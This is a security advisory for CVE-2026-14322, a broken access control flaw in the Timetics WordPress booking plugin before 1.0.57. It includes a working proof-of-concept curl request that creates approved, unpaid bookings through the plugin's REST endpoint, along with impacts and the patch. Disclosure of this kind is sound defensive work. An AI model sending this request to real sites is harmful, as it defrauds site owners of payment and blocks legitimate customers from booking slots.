CVE-2026-14322

A Broken Access Control vulnerability exists in the WordPress Timetics plugin in versions prior to 1.0.57. The plugin fails to enforce a pending or unpaid status for new bookings created through payment methods other than its recognised gateways, allowing unauthenticated users to create fully-approved bookings for priced appointments without making any payment.

When creating a booking via the plugin's REST API endpoint (/wp-json/timetics/v1/bookings), an unauthenticated attacker can supply an arbitrary payment method parameter (e.g., payment_method: "paypal") along with status: "approved".

Because the backend validation did not restrict or verify payment completion for custom or unrecognised payment method inputs, the booking is instantly marked as approved. Confirmation emails are triggered, calendar slots are reserved, and appointment details are finalized without any actual financial transaction taking place.

A single unauthenticated HTTP request against a bookable priced appointment:

curl -s -X POST 'https://TARGET/wp-json/timetics/v1/bookings' \
  -H 'Content-Type: application/json' \
  -d '{"first_name":"PoC","email":"[email protected]","payment_method":"paypal",
       "appointment":<MEETING_ID>,"staff":<STAFF_ID>,
       "start_date":"2026-05-21","start_time":"12:00pm","end_time":"12:30pm",
       "timezone":"Asia/Dhaka","location_type":"attendee-call",
       "order_total":100,"status":"approved"}'

# Response: "status":"approved","order_total":"100" - booking created as approved
# with no payment processed (confirmation emails sent, calendar event created, slot reserved).

An unauthenticated attacker can:

• Bypass payment processing to secure paid appointments for free
• Exhaust available appointment slots and block legitimate users (Denial of Service for bookings)
• Trigger automated email notifications and calendar events without authorization

Update Timetics to version 1.0.57 or later. The patch enforces strict status and payment gateway checks, ensuring that unverified payment methods cannot bypass the payment step or auto-approve bookings.

• CVE-2026-14322 — NVD / CVE.org
• WPScan Vulnerability Database — 0fb14dca-d4aa-4c24-bf15-37099edb7614
• Timetics — WordPress.org Plugin Page

Discovered and responsibly disclosed by Md Minaruzzaman Shovon, full-stack developer and security researcher based in Bangladesh. Verified on WPScan and Patchstack.